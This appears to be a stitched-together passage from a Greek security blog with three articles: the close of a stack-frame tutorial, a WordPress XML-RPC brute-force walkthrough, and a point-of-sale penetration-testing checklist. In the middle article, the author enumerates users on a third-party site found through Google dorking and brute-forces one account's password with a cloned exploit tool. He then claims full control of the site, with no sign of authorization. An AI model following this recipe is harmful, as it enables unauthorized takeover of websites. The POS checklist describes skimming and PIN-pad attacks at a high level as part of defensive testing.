Κάθε φορά που εφαρμόζεται ένα jump είπαμε οτι ο επεξεργαστής πάει να εκτελέσει ένα σύνολο εντολών (instructions) σε μια άλλη θέση μνήμης (μέχρι να συναντήσει ένα RET). Αυτό το σύνολο εντολών όπως είπαμε, ονομάζεται συνάρτηση (function) ή διαδικασία (procedure). Κάθε συνάρτηση (ή διαδικασία) έχει το δικό της stack το οποίο ονομάζεται stack frame. Ένα stack frame είναι μια στοίβα στην οποία θα καταχωρηθούν μεταβλητές και διευθύνσεις που αφορούν μόνο στην τρέχουσα συνάρτηση που εκτελείται. Κάθε διεύθυνση μέσα στο συγκεκριμένο stack είναι μια σχετική διεύθυνση σε σχέση με μια βάση. Η βάση αυτή είναι ο base pointer. Όλες λοιπόν οι αναφορές στις διευθύνσεις του stack γίνονται με βάση τον τρέχοντα δείκτη βάσης (base pointer).
Στην πράξη γίνεται το εξής: Πριν καλέσουμε μια συνάρτηση βάζουμε στο EBP τον τρέχον ESP. Από εκεί και μετά κάθε φορά που θέλουμε να αναφερθούμε σε μια διεύθυνση στο stack θα το κάνουμε με βάση τον EBP που στην ουσία είναι η αρχή του stack πριν την κλήση της συνάρτησης. Για να το καταλάβετε δείτε το εξής παράδειγμα:
Στο παρακάτω stack έχουμε ebp=256 και esp=256:
Διεύθυνση
Τιμή
256
34
252
248
…
Έστω οτι καλούμε μια συνάρτηση η οποία βάζει στο stack τον αριθμό 89. Θα έχουμε:
Διεύθυνση
Τιμή
256
34
252
89
248
…
Όπου ebp=256 και esp=252.
Η χρήση του ebp μας βολεύει πολύ όταν θέλουμε να αναφερθούμε στις τιμές του stack της συγκεκριμένης συνάρτησης. Δηλαδή, η μεταβλητή που βρίσκεται στη θέση (ebp 256) είναι η πρώτη μεταβλητή που καταχώρησε στο stack η συνάρτηση μας.
Όταν τελειώσει αυτή η συνάρτηση το έργο της (με ένα RET), τότε ο EBP θα επανέλθει στον προηγούμενο EBP ο οποίος είχε φυλαχτεί σε κάποιον καταχωρητή πριν την κλήση της συνάρτησης.
Συμπεράσματα
Δώσαμε μια βασική περιγραφή για το πώς λειτουργεί εσωτερικά ένα πρόγραμμα. Οι γνώσεις που αποκομίσατε από το συγκεκριμένο άρθρο θεωρούνται στοιχειώδεις γνώσεις για ένα reverser ή για κάποιον που θέλει να καταλάβει έννοιες και να μπορέσει να διαβάσει άρθρα λίγο πιο προχωρημένα όπως αυτά που «μιλάνε» για buffer overflow.
Θα πρέπει, αν θέλετε να καταλάβετε καλά ένα Stack Buffer Overflow Attack, θα πρέπει να δώσετε βάση και να μπορείτε να εξηγήσετε τα εξής:
Τι είναι ο Instruction Pointer (EIP).
Τι είναι το Stack.
Τι είναι ο Stack Pointer (ESP).
Πώς συνδέονται τα παραπάνω μεταξύ τους.
Στα επόμενα άρθρα αυτής της οικογένειας θα δούμε λίγο πιο… core πράγματα! Προς το παρόν, σκεφτείτε το εξής:
Τι θα συμβεί αν καταφέρουμε με κάποιο τρόπο να ελέγξουμε τον Instruction Pointer (EIP);! 😎
Το XML-RPC (XML Remote Procedure Call) είναι ένα πρωτόκολλο επικοινωνίας που επιτρέπει σε εφαρμογές να επικοινωνούν μεταξύ τους μέσω του διαδικτύου. Το WordPress XML-RPC είναι μια υλοποίηση του πρωτοκόλλου XML-RPC που χρησιμοποιείται από το σύστημα διαχείρισης περιεχομένου (CMS) WordPress.
Το XML-RPC του WordPress παρέχει ένα σύνολο από δημόσιες μεθόδους που επιτρέπουν στους χρήστες να εκτελούν λειτουργίες στο WordPress μέσω απομακρυσμένων κλήσεων. Μερικές από τις κύριες λειτουργίες που μπορούν να πραγματοποιηθούν μέσω XML-RPC περιλαμβάνουν τη δημοσίευση νέων άρθρων, την επεξεργασία άρθρων, τη λήψη λίστας κατηγοριών και άλλες λειτουργίες διαχείρισης περιεχομένου.
Συνήθως, όταν επιχειρούμε να δοκιμάσουμε με επίθεση bruteforce για έναν κωδικό πρόσβασης, το σύστημα βλέπει μια προσπάθεια σύνδεσης για κάθε κωδικό πρόσβασης που δοκιμάζουμε.
Μόλις φτάσουμε σε κάποιο όριο προσπαθειών, το σύστημα θα μας κλειδώσει έξω.
Ωστόσο, το XMLRPC έχει ένα σύστημα “system.multicall” όπου μπορούμε να στείλουμε εκατοντάδες ή χιλιάδες κωδικούς πρόσβασης με ένα μόνο αίτημα HTTP. Ο χάκερ μπορεί να χρησιμοποιήσει το XMLRPC για την παρουσίαση χιλιάδων διαπιστευτηρίων χωρίς τον κίνδυνο κλειδώματος ή άλλης παρεμβολής από συσκευές ασφαλείας.
Το XMLRPC κυκλοφόρησε στο WordPress 2.6 και από την έκδοση 3.5, είναι ενεργοποιημένο από προεπιλογή. Αυτή η ευπάθεια έχει αντιμετωπιστεί σε νεότερες εκδόσεις του WordPress, αλλά γνωρίζουμε όλοι ότι υπάρχουν εκατομμύρια μη ενημερωμένοι ιστότοποι WordPress στο Διαδίκτυο. Απλώς πρέπει να είμαστε προσεκτικοί.
Βήμα #1: Λήψη και εγκατάσταση του WordPress XML-RPC Brute Force
Το πρώτο βήμα, φυσικά, είναι να εκκινήσετε το Kali και να ανοίξετε ένα τερματικό. Διότι αυτό το εργαλείο ΔΕΝ είναι ενσωματωμένο στο Kali, θα πρέπει να το κατεβάσουμε και να το εγκαταστήσουμε. Αυτό σημαίνει ότι αν χρησιμοποιείτε μια διαφορετική έκδοση του Linux, αυτές οι οδηγίες θα λειτουργήσουν εξίσου καλά και για εσάς.
Μπορούμε να αποκτήσουμε αυτό το εργαλείο από το github.com, οπότε χρειάζεται μόνο να χρησιμοποιήσουμε την εντολή git clone για να το ανακτήσουμε, όπως παρακάτω:
kali > git clone http://github.com/1N3/WordPress-XMLRPC-Brute-Force-Exploit
Τώρα που κατεβάσαμε το εργαλείο στο σύστημά μας, ας επιβεβαιώσουμε ότι βρίσκεται εκεί.
kali > ls -l
Όπως μπορούμε να δούμε παραπάνω, δημιουργήσαμε έναν κατάλογο με το όνομα WordPress-XMLRPC-Brute-Force-Exploit. Τώρα, ας μεταβούμε σε αυτόν τον κατάλογο.
kali > cd WordPress-XMLRPC-Brute-Force-Exploit
Όπως μπορείτε να δείτε παραπάνω, υπάρχουν δύο εκδόσεις, μια λίστα κωδικών πρόσβασης και ένα αρχείο README. Θα χρησιμοποιήσουμε την έκδοση v2.
Βήμα #2: Εύρεση Χρηστών με το wpscan
Τώρα που έχουμε το εργαλείο μας έτοιμο για χρήση, ας χρησιμοποιήσουμε και το wpscan για να βρούμε ορισμένους χρήστες από μια ιστοσελίδα WordPress.
Βρήκα αυτόν τον ιστότοπο χρησιμοποιώντας μερικές από τις Google hacks που περιέγραψα στο άρθρο μου για τον εντοπισμό ιστότοπων WordPress.
Για να βρούμε τους users μπορούμε να το κάνουμε με την παρακάτω εντολή
kali > wpscan -u <domain> --enumerate u
Στο <domain> θα βάλετε την σελίδα που θέλετε!!
Όταν το wpscan αρχίσει ψάχνει με την παραπάνω εντολή, εντοπίζει την εκδοση του wordpress για παράδειγμα αυτη η σελίδα που δοκιμάζω εγώ χρησιμοποιείWordPress 4.6.1 και στη συνέχεια ψάχνει για όλους τους(users) όπως φαίνεται στην εικόνα.
Τώρα που έχουμε τους χρήστες, ας δούμε αν μπορούμε να εκτελέσουμε μια επίθεση Brute-Force χρησιμοποιώντας το XMLRPC!
Εμεις στο παραδειγμά μας θα χρησιμοποιήσουμε τον χρήστη taskfleet, δηλαδή το bruteforce θα γίνει σε αυτον.
Βήμα #3: Επίθεση Brute Force την μέθοδο XMLRPC
Το τελικός βήμα είναι να χρησιμοποιήσουμε το εργαλείο XMLRPC στους παραπάνω χρήστες που βρήκαμε με το wpscan.
Όταν βρείτε τον σωστό κωδικό πρόσβασης, το πρόγραμμα θα σταματήσει και θα σας δείξει τον κωδικό.
Πριν χρησιμοποιήσουμε, θα πρέπει να δόσουμε την παρακάτω εντολή για να αλλάξουμε τα δικαιώματα στο αρχείο και να το κάνουμε εκτελέσιμο.
kali > chmod 755 wordpress-xmlrpc-brute-v2.py
Τώρα ας το τρέξουμε kali > ./wordpress-xmlrpc-brute-v2.py
Και μετα python xmlrpc_exploit.py http://ο-ιστοτοπός-σας.com/xmlrpc.php αρχείο-κωδικών.txt ονομα-στοχου
Αντικαταστήστε το “http://ο-ιστοτοπός-σας.com/xmlrpc.php” με τον ιστότοπου WordPress σας, το “αρχείο-κωδικών.txt” με τη διαδρομή του αρχείου κωδικών πρόσβασης σας και το “ονομα-στοχου” με το όνομα χρήστη που θέλετε να επιτεθείτε. Το όνομα χρήστη είναι αυτα που πήραμε παραπάνω με το wpscan.
Σε περίπτωση που ο βρεθεί ο κωδικός θα σας εμφανίσει κάτι σαν το παρακάτω
Σε λίγα λεπτά, βρήκαμε τον κωδικό πρόσβασης για τον χρήστη “taskfleet”. Με αυτόν τον κωδικό πρόσβασης, τώρα συνδεόμαστε (wp-login) και έχουμε πλήρη έλεγχο αυτού του ιστότοπου!
Οδηγός Penetration Testing σε συσκευές Point Of Sale Device (POS)
POS ονομάζεται ένα σύστημα που διαχειρίζεται τις συναλλαγές πωλήσεων στις επιχειρήσεις. Αν και μπορεί να φαίνεται πολύπλοκο με την πρώτη ματιά, στην πραγματικότητα είναι αρκετά απλό.
Τώρα, ας εξηγήσουμε με περισσότερες λεπτομέρειες τι είναι το POS και πώς λειτουργεί. Το POS είναι μια συντομογραφία που προέρχεται από τα αρχικά της λέξης “Point of Sale” (σημείο πώλησης). Το σύστημα αυτό διευκολύνει και καταγράφει τις συναλλαγές πωλήσεων μεταξύ πελατών και πωλητών. Ένα σύστημα POS αποτελείται τόσο από στοιχεία υλικού όσο και από στοιχεία λογισμικού.
Στοιχεία υλικού: Ένα σύστημα POS περιλαμβάνει συνήθως στοιχεία υλικού, όπως έναν υπολογιστή ή ένα tablet, σαρωτή γραμμωτού κώδικα, συρτάρι μετρητών, εκτυπωτή και οθόνη.
Οι συσκευές αυτές χρησιμοποιούνται για τη διενέργεια συναλλαγών και την παροχή αποδείξεων ή τιμολογίων στους πελάτες.
Συστατικά λογισμικού: Το λογισμικό POS χρησιμοποιείται για τη διαχείριση των συναλλαγών, την παρακολούθηση των αποθεμάτων, την επεξεργασία των πληρωμών και τη δημιουργία αναφορών.
Αυτό το λογισμικό επιτρέπει στους πελάτες να δημιουργούν τα καλάθια αγορών τους, να πραγματοποιούν πληρωμές και να λαμβάνουν αποδείξεις.
Πώς λειτουργεί η συναλλαγή μέσω POS;
Βήμα Α : Ο πελάτης χρησιμοποιεί την κάρτα. Ξεκινά τη διαδικασία πληρωμής εισάγοντας την κάρτα του στη συσκευή POS και εισάγοντας τον εμπιστευτικό κωδικό PIN.
Βήμα Β : Η συσκευή POS εκκινεί τη συναλλαγή. Η συσκευή POS εκκινεί τη συναλλαγή μεταδίδοντας με ασφάλεια τα στοιχεία της κάρτας και τον κωδικό PIN, κρυπτογραφημένα, στον διακομιστή ATM Switch. Ο έλεγχος πρόσβασης στο δίκτυο (NAC) διασφαλίζει την ασφαλή πρόσβαση.
Βήμα Γ : Επαλήθευση κάρτας. Εάν η κάρτα ανήκει στην ίδια τράπεζα, το κλειδί ΑΤΜ επαληθεύει το PIN χρησιμοποιώντας τον διακομιστή Hardware Security Module (HSM). Μετά την επιτυχή επαλήθευση, το αίτημα συναλλαγής προωθείται στον διακομιστή CBS.
Βήμα Δ : Σενάριο διαφορετικής τράπεζας. Εάν η κάρτα ανήκει σε διαφορετική τράπεζα, η συναλλαγή δρομολογείται στο διακομιστή NFS. Ο διακομιστής NFS προωθεί τη συναλλαγή στον διακομιστή HSM της άλλης τράπεζας για επαλήθευση του PIN.
Μετά την επιτυχή επαλήθευση, η συναλλαγή αποστέλλεται στον διακομιστή CBS.
Βήμα Ε : Επαλήθευση λογαριασμού και μεταφορά χρημάτων. Ο διακομιστής CBS ελέγχει το υπόλοιπο του λογαριασμού του κατόχου της κάρτας και αφαιρεί το ποσό της αγοράς. Το αφαιρεθέν ποσό μεταφέρεται στο λογαριασμό του πωλητή.
Βήμα ΣΤ : Ολοκλήρωση της συναλλαγής. Όταν η συναλλαγή ολοκληρωθεί επιτυχώς, ο διακομιστής CBS παράγει μια απάντηση. Το κλειδί ΑΤΜ κρυπτογραφεί και αποστέλλει αυτή την απάντηση πίσω στη συσκευή POS. Η συναλλαγή ολοκληρώνεται.
Πώς μπορώ να διεξάγω μια pentest δοκιμή στο σημείο πώλησης (POS);
A. Επισκόπηση ασφαλών ρυθμίσεων του λειτουργικού συστήματος:
Αυτό το βήμα περιλαμβάνει τη διασφάλιση της σωστής διαμόρφωσης της συσκευής POS και των κατάλληλων ρυθμίσεων ασφαλείας.
Αυτό μπορεί να περιλαμβάνει τον έλεγχο αν η συσκευή χρησιμοποιεί ενημερωμένες εκδόσεις λογισμικού και hardware, την αλλαγή των προεπιλεγμένων κωδικών πρόσβασης, την απενεργοποίηση περιττών συνδέσεων δικτύου και την επανεξέταση των ρυθμίσεων τείχους προστασίας.
Οι συσκευές POS συνήθως διατίθενται με προεπιλεγμένες διαμορφώσεις και είναι απαραίτητο να αλλάξετε αυτές τις προεπιλεγμένες ρυθμίσεις πριν από την ανάπτυξή τους σε περιβάλλον παραγωγής.
Οι προεπιλεγμένες διαμορφώσεις μπορεί να περιλαμβάνουν τη διαχείριση πρόσβασης στη συσκευή, τις μεθόδους κρυπτογράφησης και τις προεπιλεγμένες ρυθμίσεις για υπηρεσίες όπως το FTP και το SSH.
Κατά τη διενέργεια επανεξέτασης της ασφάλειας των ρυθμίσεων μιας συσκευής POS, είναι ζωτικής σημασίας να εξετάσετε προσεκτικά όλες τις προεπιλεγμένες ρυθμίσεις διαμόρφωσης και άλλες βασικές παραμέτρους για να διασφαλίσετε ότι έχουν ρυθμιστεί σωστά.
Για παράδειγμα, το ακόλουθο παράδειγμα επισημαίνει τον προεπιλεγμένο κωδικό πρόσβασης διαχειριστή, ο οποίος μπορεί να διαφέρει ανάλογα με τη μάρκα και το μοντέλο της συσκευής:
“Ένα κρίσιμο βήμα για την ασφάλεια των συσκευών POS είναι η τροποποίηση των προεπιλεγμένων ρυθμίσεων. Αυτές οι προεπιλεγμένες ρυθμίσεις μπορεί να αποτελέσουν πιθανό κίνδυνο για την ασφάλεια της συσκευής.
Για παράδειγμα, κρίσιμες ρυθμίσεις όπως ο κωδικός πρόσβασης διαχειριστή μπορεί να διευκολύνουν τους κακόβουλους φορείς να αποκτήσουν πρόσβαση στη συσκευή.
Ως εκ τούτου, η επανεξέταση όλων των προεπιλεγμένων ρυθμίσεων και η χρήση ισχυρών κωδικών πρόσβασης είναι απαραίτητη για μια ασφαλή διαμόρφωση”.
a. Αξιολόγηση φυσικής ασφάλειας: Σε αυτή την ενότητα, διάφορα εξαρτήματα, όπως θύρες USB, θύρες LAN, αναγνώστες καρτών NFC και άλλα, βρίσκονται συχνά σε μια συσκευή POS.
Είναι σημαντικό να διασφαλιστεί η συσκευή POS με τέτοιο τρόπο ώστε να αποτρέπεται η μη εξουσιοδοτημένη πρόσβαση σε αυτές τις περιοχές. Εάν είναι δυνατή η μη εξουσιοδοτημένη πρόσβαση, κακόβουλοι φορείς μπορούν να προσαρτήσουν μονάδες flash, συμπεριλαμβανομένων εκείνων που μοιάζουν με BAD USB, οι οποίες μπορούν να επιτρέψουν την απομακρυσμένη πρόσβαση στο τερματικό της συσκευής POS.
Για τον μετριασμό τέτοιων επιθέσεων, πρέπει να διασφαλίζεται τόσο η φυσική ασφάλεια όσο και η ασφάλεια των θυρών USB για τις συσκευές POS.
b. POS Skimming: Μια άλλη μορφή φυσικής επίθεσης είναι το POS skimming, όπου μια συσκευή τοποθετείται κρυφά στον μηχανισμό σάρωσης καρτών για να κλέψει πληροφορίες καρτών από τις μαγνητικές λωρίδες.
Ως εκ τούτου, η τακτική επιθεώρηση του μηχανισμού σάρωσης καρτών της συσκευής POS είναι ζωτικής σημασίας. Σε αυτό το πλαίσιο, ένας ελεγκτής διείσδυσης μπορεί να χρησιμοποιήσει μια φορητή μέθοδο skimming για να τοποθετήσει μια συσκευή skimmer σε συσκευές POS εντός ενός οργανισμού, καταγράφοντας δυνητικά στοιχεία καρτών, αριθμούς PIN και διάφορα άλλα δεδομένα.
Αυτό χρησιμεύει ως μια σημαντική δοκιμή στο πλαίσιο της φυσικής ασφάλειας
c. Χειραγώγηση του πληκτρολογίου PIN: Οι επιτιθέμενοι μπορούν να χειραγωγήσουν το πληκτρολόγιο PIN για να καταλάβουν τους κωδικούς PIN της κάρτας πελάτη. Μπορούν να χρησιμοποιήσουν μια ψεύτικη επικάλυψη που μοιάζει με το πληκτρολόγιο μιας πραγματικής συσκευής POS για να πραγματοποιήσουν τέτοιες επιθέσεις.
Ως εκ τούτου, είναι σημαντικό να επανεξετάζεται περιοδικά το πληκτρολόγιο της συσκευής POS και να ελέγχεται η παρουσία συσκευών καταγραφής πλήκτρων. Αυτό είναι ζωτικής σημασίας για τη διασφάλιση της ασφάλειας των δεδομένων των καρτών των πελατών και την προστασία από δόλιες δραστηριότητες.
d. Σύνδεση δικτύου POS: Μια κρίσιμη πτυχή της αξιολόγησής μας περιλαμβάνει την εξέταση της σύνδεσης δικτύου της συσκευής POS. Το δίκτυο POS πρέπει να παραμείνει απομονωμένο, διασφαλίζοντας ότι κανένας άλλος χρήστης δεν μπορεί να συνδεθεί στο ίδιο δίκτυο Wi-Fi ή LAN.
Θα πραγματοποιήσουμε δοκιμή διείσδυσης σε τοπικό δίκτυο για να επαληθεύσουμε την ασφάλεια του δικτύου POS. Στόχος μας εδώ είναι να αξιολογήσουμε την ανθεκτικότητα του δικτύου σε μη εξουσιοδοτημένη πρόσβαση και πιθανές εισβολές.
Θα εντοπίσουμε τυχόν τρωτά σημεία που ενδέχεται να εκθέσουν το σύστημα POS σε εξωτερικές απειλές και θα παράσχουμε συστάσεις για την αποκατάστασή τους.
e. Προεπιλεγμένα διαπιστευτήρια στη συσκευή: Στο πλαίσιο της αξιολόγησής μας, θα διερευνήσουμε τη χρήση προεπιλεγμένων διαπιστευτηρίων στη συσκευή POS, ιδίως όσον αφορά τη διαχείριση υλικού.
Τα προεπιλεγμένα ονόματα χρήστη και οι κωδικοί πρόσβασης αποτελούν κοινούς στόχους για τους επιτιθέμενους. Θα εξετάσουμε εξονυχιστικά τη συσκευή για να εντοπίσουμε περιπτώσεις όπου χρησιμοποιούνται προεπιλεγμένα διαπιστευτήρια.
Στόχος μας είναι να διασφαλίσουμε ότι χρησιμοποιούνται οι κατάλληλοι μηχανισμοί ελέγχου ταυτότητας για τη διαχείριση της συσκευής και να εξαλείψουμε τους πιθανούς κινδύνους ασφάλειας που σχετίζονται με τα προεπιλεγμένα διαπιστευτήρια σύνδεσης.
f. Κρυπτογράφηση: Η μετάδοση δεδομένων μέσω καναλιών Wi-Fi ή LAN είναι μια κρίσιμη πτυχή της ασφάλειας των συσκευών POS. Για να επαληθεύσουμε την ασφάλεια των δεδομένων κατά τη μεταφορά, θα εξετάσουμε τις ρυθμίσεις κρυπτογράφησης στη συσκευή POS.
Είναι σημαντικό να διασφαλιστεί ότι η κρυπτογράφηση είναι τόσο ενεργή όσο και σωστά ρυθμισμένη για την προστασία των ευαίσθητων δεδομένων κατά τη μετάδοση.
Η αξιολόγησή μας θα επικεντρωθεί στην αξιολόγηση της ισχύος των χρησιμοποιούμενων πρωτοκόλλων κρυπτογράφησης και στον εντοπισμό τυχόν αδυναμιών που θα μπορούσαν ενδεχομένως να θέσουν σε κίνδυνο την ασφάλεια των δεδομένων.
g. Μη ασφαλής αποθήκευση δεδομένων: Η συσκευή μπορεί να αποθηκεύει δεδομένα στην κάρτα μνήμης ή στο εσωτερικό της. Ελέγχουμε αν τα αρχεία διαμόρφωσης είναι κρυπτογραφημένα για την ασφάλεια αυτών των δεδομένων. Εάν τα δεδομένα δεν είναι κρυπτογραφημένα, η ασφάλεια των ευαίσθητων πληροφοριών μπορεί να τεθεί σε κίνδυνο.
h. Υπηρεσίες καθαρού κειμένου: Ελέγχουμε αν είναι ενεργοποιημένες υπηρεσίες καθαρού κειμένου στη συσκευή, όπως το FTP, το οποίο κατεβάζει υλικολογισμικό της συσκευής από το διακομιστή για αναβαθμίσεις υλικολογισμικού. Η απενεργοποίηση των υπηρεσιών καθαρού κειμένου στη συσκευή είναι απαραίτητη.
i. Αρχεία καταγραφής: Εξετάζουμε τα αρχεία καταγραφής της συσκευής. Τα αρχεία καταγραφής είναι ζωτικής σημασίας για τον εντοπισμό και την παρακολούθηση πιθανών παραβιάσεων ασφαλείας.
j. Ελλιπείς patches: Οι ελλείπουσες ενημερώσεις αντιμετωπίζουν ευπάθειες που θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη απομακρυσμένη εκτέλεση κώδικα, κλιμάκωση προνομίων, άρνηση παροχής υπηρεσιών και αποκάλυψη εμπιστευτικών πληροφοριών. Ελέγχουμε για τις πιο πρόσφατες ενημερώσεις.
k. Μη εξουσιοδοτημένη έκθεση ευαίσθητων δεδομένων χωρίς έλεγχο ταυτότητας: Η συσκευή POS μπορεί να εκτυπώνει αναφορές που περιέχουν ευαίσθητες πληροφορίες, όπως στοιχεία συσκευής και λεπτομέρειες συναλλαγών. Επιχειρήσαμε να αποκτήσουμε πρόσβαση σε αυτή τη λειτουργία χωρίς έλεγχο ταυτότητας.
l. Ρυθμίσεις ενημέρωσης της συσκευής: Ελέγχουμε τις ρυθμίσεις της συσκευής και επαληθεύουμε τις τελευταίες ενημερώσεις.
m. Πολιτική κωδικού πρόσβασης: Ελέγχουμε την πολιτική κωδικών πρόσβασης που εφαρμόζεται στη συσκευή και αξιολογούμε τη συμμόρφωσή της με τις βέλτιστες πρακτικές που προωθούν τη χρήση ισχυρών κωδικών πρόσβασης.
n. Θύρες συσκευής POS: Επιθεωρούμε όλες τις περιφερειακές θύρες (θύρες Ethernet, τηλεφώνου, RS-232 και USB) για να διασφαλίσουμε ότι οι αχρησιμοποίητες θύρες είναι απενεργοποιημένες.
B. Δοκιμές εφαρμογής
Η δοκιμή της εφαρμογής είναι ένα κρίσιμο στάδιο για την ασφάλεια των συσκευών POS, επειδή η εφαρμογή SoftPay εκτελεί βασικές λειτουργίες, όπως online και offline πωλήσεις, επιστροφές χρημάτων και άλλες συναλλαγές πληρωμών.
Κατά τη διάρκεια αυτού του σταδίου, είναι σημαντικό να εντοπιστούν και να αντιμετωπιστούν τα τρωτά σημεία ασφαλείας που ενδέχεται να υπάρχουν σε επίπεδο εφαρμογής και λογικού επιπέδου.
a. Ανάλυση κίνησης καθαρού κειμένου : Αρχικά, συνδέουμε τον φορητό υπολογιστή μας στο τμήμα δικτύου POS και διασφαλίζουμε ότι η διεύθυνση IP του φορητού υπολογιστή ταιριάζει με τη διεύθυνση πύλης της συσκευής POS.
Στη συνέχεια, επεξεργαζόμαστε τις ρυθμίσεις της διεύθυνσης πύλης της συσκευής POS, ξεκινάμε ένα αίτημα κίνησης καθαρού κειμένου και χρησιμοποιούμε εργαλεία όπως το Wireshark στο φορητό μας υπολογιστή για να καταγράψουμε την κίνηση.
b. Προσπάθεια επιστροφής : Δεύτερον, προσπαθούμε να επιστρέψουμε ένα ποσό μεγαλύτερο από το ποσό αγοράς. Αυτό μας βοηθά να ελέγξουμε αν η εφαρμογή χειρίζεται με ασφάλεια τις συναλλαγές επιστροφής χρημάτων.
c. Δοκιμή κλιμάκωσης προνομίων : Η εφαρμογή έχει διαφορετικά επίπεδα προνομίων, όπως υπάλληλος, διαχειριστής και υπερ-χρήστης. Προσομοιώνουμε μια επίθεση κλιμάκωσης προνομίων χρησιμοποιώντας έναν λογαριασμό Clerk για να προσπαθήσουμε να αποκτήσουμε πρόσβαση σε λειτουργίες ή δεδομένα επιπέδου Manager.
d. Έλεγχος επαλήθευσης PIN : Προσπαθούμε να χρησιμοποιήσουμε ένα άκυρο PIN κατά τη διάρκεια μιας αγοράς προϊόντος για να ελέγξουμε αν η επαλήθευση PIN επιβάλλεται σωστά κατά τη διάρκεια των συναλλαγών.
e. Προσπάθεια χειραγώγησης δεδομένων : Επιχειρούμε να χειραγωγήσουμε δεδομένα διακόπτοντας ή μεταβάλλοντας τη ροή της κυκλοφορίας. Αυτό μας βοηθά να παρατηρήσουμε πώς οι ευάλωτες εφαρμογές χειρίζονται τα δεδομένα.
f. Αξιολόγηση αποκάλυψης ευαίσθητων πληροφοριών : Η συσκευή POS παράγει αποδείξεις συναλλαγής όταν ένα προϊόν ή μια υπηρεσία πληρωθεί επιτυχώς.
Είναι επιτακτική ανάγκη να εξετάζονται αυτές οι παραγόμενες αποδείξεις συναλλαγών για την παρουσία ευαίσθητων δεδομένων, όπως αριθμοί λογαριασμών και στοιχεία καρτών.
Η κρίσιμη πτυχή είναι να διασφαλιστεί ότι τυχόν πληροφορίες κάρτας εντός της απόδειξης συναλλαγής καλύπτονται αποτελεσματικά για την προστασία των δεδομένων των πελατών.
g. Συναλλαγή POS χωρίς PIN : Στο πλαίσιο της αξιολόγησής μας, στοχεύουμε στη διεξαγωγή μιας δοκιμαστικής συναλλαγής εντός του συστήματος POS χωρίς την ανάγκη χρήσης κωδικού PIN.
Η διαδικασία αυτή μας επιτρέπει να εξετάσουμε τον τρόπο με τον οποίο η συσκευή POS χειρίζεται τις συναλλαγές χωρίς έλεγχο ταυτότητας PIN, ρίχνοντας φως σε πιθανά τρωτά σημεία ασφαλείας.
h. Προσπάθεια πώλησης εκτός σύνδεσης χωρίς κωδικό εξουσιοδότησης : Η στρατηγική δοκιμών μας περιλαμβάνει μια απόπειρα εκτέλεσης μιας συναλλαγής πώλησης εκτός σύνδεσης χωρίς την παρουσία κωδικού εξουσιοδότησης ή με τη χρήση λανθασμένου κωδικού.
Αυτό το συγκεκριμένο σενάριο δοκιμής μας επιτρέπει να αξιολογήσουμε την ανθεκτικότητα και τα μέτρα ασφαλείας του συστήματος POS όσον αφορά τις συναλλαγές εκτός σύνδεσης ελλείψει των απαραίτητων κωδικών εξουσιοδότησης.
C. Αξιολόγηση τρωτότητας και δοκιμή διείσδυσης
a. Ασφάλεια δικτύου συσκευών POS : Η σύνδεση των συσκευών PO με τον απομονωμένο backend server της τράπεζας είναι κρίσιμης σημασίας για την αξιολόγηση των τρωτών σημείων ασφαλείας σε επίπεδο δικτύου.
Οι δοκιμές αυτές διεξάγονται για την αξιολόγηση της ασφάλειας της σύνδεσης δικτύου της συσκευής POS και τον εντοπισμό πιθανών κινδύνων.
b. Έλεγχος σύνδεσης δικτύου : Αρχικά, λαμβάνουμε τα στοιχεία IP της συσκευής POS και συνδέουμε το φορητό μας υπολογιστή στο δίκτυο POS. Αυτό μας επιτρέπει να προσομοιώσουμε την πρόσβαση στο δίκτυο.
Στη συνέχεια, εξετάζουμε διεξοδικά τη σύνδεση δικτύου. Συμβουλή: Αυτή η διαδικασία μας δίνει την ευκαιρία να εξετάσουμε το λειτουργικό σύστημα της συσκευής POS.
c. Προσδιορισμός των ανοικτών θυρών : Χρησιμοποιώντας εργαλεία όπως το Nmap, είναι ζωτικής σημασίας η σάρωση για ανοικτές θύρες TCP και UDP στη συσκευή POS. Αυτό μας βοηθά να προσδιορίσουμε ποιες υπηρεσίες εκτελούνται και ποιες θύρες είναι εκτεθειμένες στον εξωτερικό κόσμο.
Αναζητούμε πιθανά τρωτά σημεία ασφαλείας σε αυτές τις υπηρεσίες.
Παράδειγμα διαμόρφωσης τερματικού POS TCP και εφαρμογής TCP
d. Σάρωση τρωτών σημείων : Για να εντοπίσουμε πιο ολοκληρωμένα τα τρωτά σημεία ασφαλείας στη συσκευή POS, χρησιμοποιούμε εργαλεία σάρωσης τρωτών σημείων ασφαλείας όπως το Nessus.
Αυτή η σάρωση καλύπτει ένα ευρύ φάσμα, ξεκινώντας από την έκδοση του λειτουργικού συστήματος και επεκτεινόμενη σε πιθανές ευπάθειες ασφαλείας σε υπηρεσίες όπως το FTP και το SNMP.
Αξίζει να σημειωθεί ότι οι αυτοματοποιημένες διαδικασίες ενδέχεται να παραβλέψουν ορισμένα τρωτά σημεία, επομένως η χειροκίνητη προσπάθεια είναι απαραίτητη για τον εντοπισμό και την εκμετάλλευση των τρωτών σημείων, ιδίως εκείνων που σχετίζονται με λογικά σφάλματα, ανασφαλείς σχεδιασμούς και άλλα μη αυτοματοποιημένα τρωτά σημεία.
e. Εξέταση των υπηρεσιών : Οι συσκευές POS συνήθως εκτελούν περιορισμένο αριθμό υπηρεσιών. Η εξέταση αυτών των υπηρεσιών περιλαμβάνει,
Operating System Version : Προσπαθούμε να εντοπίσουμε την έκδοση του λειτουργικού συστήματος και να την επιθεωρήσουμε για ευπάθειες ασφαλείας.
FTP Service : Η υπηρεσία FTP χρησιμοποιείται για τη λήψη ενημερώσεων και τη μεταφόρτωση αρχείων της συσκευής. Εξετάζουμε αυτή την υπηρεσία για τρωτά σημεία ασφαλείας.
SNMP Service : Η υπηρεσία SNMP χρησιμοποιείται για την κεντρική διαχείριση της συσκευής POS. Αξιολογούμε το SNMP για τρωτά σημεία ασφαλείας.
Management Portal : Επαληθεύουμε την πρόσβαση στην πύλη διαχείρισης. Επιπλέον, εγκαταστήσαμε το POS SDK API στο φορητό μας υπολογιστή, το οποίο χρησιμοποιείται για την προσαρμογή της εφαρμογής POS. Προσπαθούμε να αποκτήσουμε πρόσβαση στη συσκευή POS μέσω σύνδεσης USB.
POS Application : Ελέγχουμε την έκδοση της εφαρμογής POS και διερευνούμε τα τρωτά σημεία ασφαλείας που σχετίζονται με αυτή την έκδοση. Ο έλεγχος ασφάλειας για συσκευές PoS έχει κρίσιμη σημασία για τις επιχειρήσεις και τα χρηματοπιστωτικά ιδρύματα.
